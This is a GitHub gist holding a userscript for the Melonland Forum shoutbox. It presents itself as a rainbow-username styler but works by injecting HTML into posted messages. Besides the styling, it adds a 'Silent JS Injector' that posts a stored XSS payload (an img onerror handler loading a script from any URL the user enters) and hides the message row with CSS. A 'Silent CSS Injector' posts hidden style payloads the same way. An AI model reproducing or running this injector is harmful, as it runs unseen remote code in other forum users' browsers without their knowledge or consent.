Last active
May 18, 2026 08:44
-
-
Save Dan-Q/5d6381f1a4b6806705c6f66f2c870109 to your computer and use it in GitHub Desktop.
Userscript originally made to render your username in rainbow (or other) text in the shoutbox on Melonland Forum; now does lots of other things too.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // ==UserScript== | |
| // @name Melonland Shoutbox Rainbow Name | |
| // @namespace rainbow-name.net.melonland.forum.me.danq | |
| // @match https://forum.melonland.net/* | |
| // @icon data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAFH0lEQVRYR+1Wa0yTZxR+SikoqCCgKERsh0ocAhMCK7B5SdBlIxuGQUKGzLmhGwoKP4YDBoE/xCZuWWYmclHmJHFIjDKQZDMDMyUbqIDljrTcnIiUm7SF3nfeZjVy0Rb4sSzx/fN9X/K+5zzvc57znI9joIX/cHFeAfjfMcAko9PpjKqxtrZesnoWpAGWPDT0LUilEjDptrW1wdnZaUkgLAbAbr3O1RVPhofB0U/ibqMEHR2dSEpKwNjY2AtBmJqMw+HMu8ciACwIo5uBMOjkuNfYAa02AGJxAVJSUqBQKOcNzvabysTerays5uwzC4AlF4lESE1NBQxaiJsfQiYToLv7L1y/nguvLZtx6ptv5wSWyWQ4lshH1Gg2DtRkYUIlXxwAWxsbTKtU/9IuRUuLL9TqQty8eRslJRfmDcpum57OQ+TGeAiPFkIul8Pe3n5hJWA3FwgEkEiY4AxoamqiAP5oaPgZfX2tKLlQjL8Hh6BSq8HlcqHX62GqMwPdfdsP/OAGbNq0CV1dXS/UyLwlYAn37n0HVVWV4FlN417TCFpb+VAqf4Ho5DHE7o+Dh8cG+Pj4oqjoPB49GsCpWF9U3+vEnhhKNuiD0E9+hbi1De7u7i/tkjkAGH02PJ7xZtYcJam9C/39AVT3ArqJBGvXusLRcQWcnNYRQx8QMz8ieFkLFJNPEX2yGGVpn0KYUISz+YU4dOgzsy06B0B0dDRqampgZ2eHtLR0bN36Odrby1FbewXNzWIkJiZi9WonbNsWitaWW8gXpSMhMgRnqi/hp9Pr4fnGIHwELojZE4DgjzIgFAoXxgADsGWLF7y8tiLAfx/8/FYh6E0hjh9PwcTEKHbv3kXPzRgaqsJ7r8lQX10LpXcJbO8fQGjyWWOy+rx4BAYFwWBnC893syEh4zKt2X4wh4HY2P2IiIik3pZjx9s7CIgn4j5ORWCgB5YvX06AYrHasQ919UPwnrqE7fF56P4tHIKwCvD5AoyPj2H0w43gHDlqzPlYPgW3XcnGd3a50tLSGYzMK0IuGYaWtNDV9QQXL55HTMwRcrtmot6HlG6g1lNjcHCYOsQHnZ128LDdB2jUxsAHkw5i5fDDZ0k0Gg0cdiZjSqVBVFQUysrKzAPQarVY4+KCUbLYHqkUCuUaaDQr4egghU7Pw+TkBqhUf4LbVIzQpGJjwDqinQnYPyDA6A06imFNYl4UABZwenoaDx50k9i8yfNHwOMpKLE7PfXwfp06xWYV1ru5kSf0YmCgH36+vpiUK1AhioOekrMVtlNofHcO+3JhDJg4Yn7AWlJNNEqlvSQ+Pvy36wG9AuCuAnRPIekdIXNqwZ07t1BeXk5gO55RzGPzgwzKtCwuwfNFYrTm5uYiMzPTmJAUAA53BQwUWNrTR9oQoLIyBzk52TPckMUwTUIXZ2djOZkIL1++bF4DM3bQR3t7J279UY1Dh78AhyDAoKGxPE6DaZK84Tp6pQ/w3fenn1nx7PMv+zY7DdnhgoIiqjmPRm8yRmUD6OkdwuBjB1y7JsKZMz/QsFEsKjmLbRYAK0F4+PuIjIzAiRNfQXy/AbIRPu7eLUZCwmGjyl/0s2EJE2YBWNOkyy84R0bkD6XCDY1Nv2N4uBN1dfVU+4olJbeIAXu7ZaiorKIBtJucbhxZWZnIy8ujPyLtkpNbBIDN+YyMrxESEkw9r8CNG6W4evXKvD8illA+e4/ZEjzfTqbDS6n5ogAs5maWnrGIAUuDLWbfKwD/ANgnu78XicW8AAAAAElFTkSuQmCC | |
| // @grant none | |
| // @version 1.2.1 | |
| // @author Dan Q <melonland-rainbow-name@danq.me> | |
| // @description 16/04/2026, 18:23:51 | |
| // ==/UserScript== | |
| const RAINBOW_MODES = ['rainbow', 'dan-q-logo', 'black-on-white']; | |
| // What CSS directives shall we inject into the name? | |
| function rainbowCSSdirectives() { | |
| let currentMode = localStorage.getItem('nameRainbowModeThing'); | |
| if(!currentMode || currentMode == '') return; | |
| switch(currentMode){ | |
| case 'rainbow': | |
| return 'background-image: linear-gradient(to left,violet,indigo,blue,green,yellow,orange,red); font-weight:bold; -webkit-background-clip:text; color:transparent !important;'; | |
| case 'dan-q-logo': | |
| return 'color: transparent !important; text-decoration: none; background: url(//danq.me/_q26u/2026/04/danq-logo-inv-ml.svg) center no-repeat; background-size: contain; display: inline-block; width: 56px;'; | |
| case 'black-on-white': | |
| return 'background: white; color: black !important; text-decoration: none;'; | |
| } | |
| } | |
| // Rainbow up my name! | |
| function rainbowUpMyName(shoutboxMessage){ | |
| if(shoutboxMessage.value.length < 1) return; | |
| const randomId = `mlf-dq-rainbowname-${Date.now()}${(Math.random() + 1).toString(36).substr(2)}`; | |
| const cssDirectives = rainbowCSSdirectives(); | |
| if(!cssDirectives) return; | |
| const injectedCode = `<style id="${randomId}">.shoutbox_row:has(style#${randomId}) .shoutbox_text_left a[href^="https://forum.melonland.net/index.php?action=profile"]:nth-of-type(2){${cssDirectives}}</style>`; | |
| shoutboxMessage.value = `${injectedCode}${shoutboxMessage.value}`; | |
| } | |
| // Capture clicks on the send button | |
| document.addEventListener('click', e=>{ | |
| const chatSubmit = e.target.closest('.button_submit'); | |
| if(!chatSubmit) return; | |
| const shoutboxInputBar = chatSubmit.closest('.shoutbox_input_bar'); | |
| if(!shoutboxInputBar) return; | |
| const shoutboxMessage = shoutboxInputBar.querySelector('#shoutbox_message'); | |
| if(!shoutboxMessage) return; | |
| rainbowUpMyName(shoutboxMessage); | |
| }, { capture: true, passive: true }); | |
| // Capture enter-presses within the say box | |
| document.addEventListener('keypress', e=>{ | |
| const shoutboxMessage = e.target.closest('#shoutbox_message'); | |
| if(!shoutboxMessage) return; | |
| const key = window.event ? event.keyCode : event.which; | |
| if(key != 13) return; | |
| rainbowUpMyName(shoutboxMessage); | |
| }, { capture: true, passive: true }); | |
| // Add some controls: | |
| function addRainbowModeControls(){ | |
| const shoutboxInputBar = document.querySelector('.shoutbox_input_bar'); | |
| if(!shoutboxInputBar) return; | |
| // Rainbow Mode selector: | |
| const selectBox = document.createElement('select'); | |
| const currentMode = localStorage.getItem('nameRainbowModeThing'); | |
| selectBox.innerHTML = '<option value="">unstyled</option>' + RAINBOW_MODES.map(m=>`<option value="${m}">${m}</option>`); | |
| if(currentMode){ | |
| selectBox.querySelector(`option[value="${currentMode}"]`).selected = true; | |
| } | |
| selectBox.addEventListener('change', ()=>{ | |
| localStorage.setItem('nameRainbowModeThing', selectBox.value); | |
| }); | |
| shoutboxInputBar.after(selectBox); | |
| // JS Injector: | |
| const jsInjectorDialog = document.createElement('dialog'); | |
| jsInjectorDialog.style.position = 'fixed'; | |
| jsInjectorDialog.style.bottom = '12px'; | |
| jsInjectorDialog.style.zIndex = 9999; | |
| jsInjectorDialog.innerHTML = ` | |
| <h2>Silent JS Injector (.js URL!)</h2> | |
| <p><input type="url" id="jsInjectorUrl"></p> | |
| <p> | |
| <button id="jsInjectOk">Inject</button> | |
| <button id="jsInjectCancel">Cancel</button> | |
| </p> | |
| `; | |
| jsInjectorDialog.addEventListener('click', (e)=>{ | |
| const button = e.target.closest('button'); | |
| if(!button) return; | |
| if(button.id == 'jsInjectCancel') { | |
| jsInjectorDialog.open = false; | |
| return; | |
| } else if(button.id == 'jsInjectOk') { | |
| const url = jsInjectorDialog.querySelector('#jsInjectorUrl').value; | |
| const payload = '<img src="//invalid" onerror="s=document.createElement(\'script\');s.src=\'' + url + '\';document.body.appendChild(s)">'; | |
| const payloadWrapper = '<style class="danq-js-pl">.shoutbox_row:has(.danq-js-pl){display:none}</style>' + payload; | |
| document.getElementById('shoutbox_message').value = payloadWrapper; | |
| jsInjectorDialog.open = false; | |
| } | |
| }, { capture: true }); | |
| const jsInjectorButton = document.createElement('button'); | |
| jsInjectorButton.innerText = 'JS'; | |
| jsInjectorButton.style.borderRadius = 0; | |
| jsInjectorButton.style.border = '1px solid #8eabb3'; | |
| jsInjectorButton.style.background = '#bef7ff'; | |
| jsInjectorButton.style.height = '19px'; | |
| jsInjectorButton.style.padding = 0; | |
| jsInjectorButton.style.margin = '0 2px'; | |
| jsInjectorButton.style.cursor = 'pointer'; | |
| jsInjectorButton.addEventListener('click', ()=>{ | |
| jsInjectorDialog.open = true; | |
| }); | |
| shoutboxInputBar.after(jsInjectorDialog); | |
| shoutboxInputBar.after(jsInjectorButton); | |
| // Silent Style Injector: | |
| const ssiInjectorDialog = document.createElement('dialog'); | |
| ssiInjectorDialog.style.position = 'fixed'; | |
| ssiInjectorDialog.style.bottom = '12px'; | |
| ssiInjectorDialog.style.zIndex = 9999; | |
| ssiInjectorDialog.innerHTML = ` | |
| <h2>Silent CSS Injector</h2> | |
| <p><textarea style="min-height: 74px; min-width: 500px;"></textarea></p> | |
| <p> | |
| <button id="ssiInjectOk">Inject</button> | |
| <button id="ssiInjectCancel">Cancel</button> | |
| <label><input id="ssiSim" type="checkbox"> Sim?</label> | |
| </p> | |
| `; | |
| ssiInjectorDialog.addEventListener('click', (e)=>{ | |
| const button = e.target.closest('button'); | |
| if(!button) return; | |
| if(button.id == 'ssiInjectCancel') { | |
| ssiInjectorDialog.querySelector('#ssiSim').checked = false; | |
| reSimulate(); | |
| ssiInjectorDialog.open = false; | |
| return; | |
| } else if(button.id == 'ssiInjectOk') { | |
| const payload = ssiInjectorDialog.querySelector('textarea').value.replace(/\n */, ''); | |
| const payloadWrapper = '<style class="danq-ssi-pl">.shoutbox_row:has(.danq-ssi-pl){display:none}' + payload + '</style>'; | |
| document.getElementById('shoutbox_message').value = payloadWrapper; | |
| ssiInjectorDialog.querySelector('#ssiSim').checked = false; | |
| reSimulate(); | |
| ssiInjectorDialog.open = false; | |
| } | |
| }, { capture: true }); | |
| function reSimulate(){ | |
| for(const oldSim of document.querySelectorAll('style#ssi-simulator')) oldSim.remove(); | |
| if(!ssiInjectorDialog.querySelector('#ssiSim:checked')) return; | |
| const simulator = document.createElement('style'); | |
| simulator.id = 'ssi-simulator'; | |
| simulator.innerText = ssiInjectorDialog.querySelector('textarea').value; | |
| document.body.appendChild(simulator); | |
| } | |
| ssiInjectorDialog.addEventListener('change', reSimulate, { capture: true }); | |
| ssiInjectorDialog.addEventListener('keyup', reSimulate, { capture: true }); | |
| const ssiInjectorButton = document.createElement('button'); | |
| ssiInjectorButton.innerText = 'CSS'; | |
| ssiInjectorButton.style.borderRadius = 0; | |
| ssiInjectorButton.style.border = '1px solid #8eabb3'; | |
| ssiInjectorButton.style.background = '#bef7ff'; | |
| ssiInjectorButton.style.height = '19px'; | |
| ssiInjectorButton.style.padding = 0; | |
| ssiInjectorButton.style.margin = '0 2px'; | |
| ssiInjectorButton.style.cursor = 'pointer'; | |
| ssiInjectorButton.addEventListener('click', ()=>{ | |
| ssiInjectorDialog.open = true; | |
| }); | |
| shoutboxInputBar.after(ssiInjectorDialog); | |
| shoutboxInputBar.after(ssiInjectorButton); | |
| } | |
| addRainbowModeControls(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment